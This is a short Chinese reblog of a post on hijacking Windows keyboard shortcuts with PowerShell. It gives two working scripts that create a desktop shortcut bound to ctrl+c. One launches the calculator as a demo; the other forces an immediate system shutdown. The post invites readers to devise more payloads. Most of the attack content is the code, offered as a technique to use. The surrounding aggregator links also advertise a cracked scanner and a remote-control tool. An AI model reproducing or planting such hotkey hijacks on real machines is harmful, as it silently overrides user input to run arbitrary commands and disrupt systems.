Hijacking Common Windows Shortcuts with Powershell

2018 年 5 月 14 日 黑白之道


Demo:



劫持快捷键,执行命令。


Code:


calc:


$WshShell = New-Object -comObject WScript.Shell

$Shortcut = $WshShell.CreateShortcut("desktop\desktoppayload.lnk")

$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"

$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"

$Shortcut.hotkey = "ctrl+c"

$Shortcut.Arguments = 'calc'

$Shortcut.Save()


shutdown:


$WshShell = New-Object -comObject WScript.Shell

$Shortcut = $WshShell.CreateShortcut("desktop\desktoppayload.lnk")

$Shortcut.TargetPath = "%SystemRoot%\system32\WindowsPowerShell\v1.0\powershell.exe"

$Shortcut.IconLocation = "%SystemRoot%\System32\Shell32.dll,21"

$Shortcut.hotkey = "ctrl+c"

$Shortcut.Arguments = 'shutdown /s /t 0'

$Shortcut.Save()


更多玩儿法,你来创造~


文章出处:Evi1cg's blog   

原文链接:https://evi1cg.me/archives/hijacking-common-windows-shortcuts-with-powershell.html


你可能喜欢

Powershell编码与混淆

PowerCat – powershell的瑞士军刀(netcat)

Powershell版netcat简介


登录查看更多
0

相关内容

【ACL2020-Google】逆向工程配置的神经文本生成模型
专知会员服务
17+阅读 · 2020年4月20日
【干货】大数据入门指南:Hadoop、Hive、Spark、 Storm等
专知会员服务
98+阅读 · 2019年12月4日
Keras François Chollet 《Deep Learning with Python 》, 386页pdf
专知会员服务
164+阅读 · 2019年10月12日
MIT新书《强化学习与最优控制》
专知会员服务
283+阅读 · 2019年10月9日
UML建模工具一览(20190909 更新)
UMLChina
12+阅读 · 2019年9月9日
用 Python 开发 Excel 宏脚本的神器
私募工场
26+阅读 · 2019年9月8日
AWVS12 V12.0.190530102 windows正式版完美破解版
黑白之道
29+阅读 · 2019年8月24日
Windows开源无人机仿真工具:AirSim1.0 入门
无人机
28+阅读 · 2019年6月8日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
支持多标签页的Windows终端:Fluent 终端
Python程序员
7+阅读 · 2019年4月15日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
22+阅读 · 2019年1月22日
Python 杠上 Java、C/C++,赢面有几成?
CSDN
6+阅读 · 2018年4月12日
仅需15分钟,使用OpenCV+Keras轻松破解验证码
机器之心
4+阅读 · 2017年12月14日
GitHub上大热的Deep Photo终于有TensorFlow版了!
量子位
4+阅读 · 2017年8月14日
Rapid Customization for Event Extraction
Arxiv
7+阅读 · 2018年9月20日
Arxiv
5+阅读 · 2018年5月1日
Arxiv
5+阅读 · 2018年1月17日
Arxiv
3+阅读 · 2017年7月6日
VIP会员
最新内容
世界模型入门:从序贯决策到通用智能体
专知会员服务
9+阅读 · 10月24日
军事域更好使用人工智能的实用指南
专知会员服务
10+阅读 · 10月22日
《衡量语言模型中的作战规划能力》
专知会员服务
14+阅读 · 10月20日
Maven智能系统:帕兰提尔军事人工智能平台详解
专知会员服务
17+阅读 · 10月20日
《测试自动化框架在敏捷软件开发中的角色》
专知会员服务
9+阅读 · 10月20日
俄罗斯如何拦截乌克兰无人机与巡航导弹
专知会员服务
13+阅读 · 10月15日
《武器-目标分配问题:精确与近似求解算法》
专知会员服务
19+阅读 · 10月15日
相关资讯
UML建模工具一览(20190909 更新)
UMLChina
12+阅读 · 2019年9月9日
用 Python 开发 Excel 宏脚本的神器
私募工场
26+阅读 · 2019年9月8日
AWVS12 V12.0.190530102 windows正式版完美破解版
黑白之道
29+阅读 · 2019年8月24日
Windows开源无人机仿真工具:AirSim1.0 入门
无人机
28+阅读 · 2019年6月8日
Pupy – 全平台远程控制工具
黑白之道
43+阅读 · 2019年4月26日
支持多标签页的Windows终端:Fluent 终端
Python程序员
7+阅读 · 2019年4月15日
去哪儿网开源DNS管理系统OpenDnsdb
运维帮
22+阅读 · 2019年1月22日
Python 杠上 Java、C/C++,赢面有几成?
CSDN
6+阅读 · 2018年4月12日
仅需15分钟,使用OpenCV+Keras轻松破解验证码
机器之心
4+阅读 · 2017年12月14日
GitHub上大热的Deep Photo终于有TensorFlow版了!
量子位
4+阅读 · 2017年8月14日
Top
微信扫码咨询专知VIP会员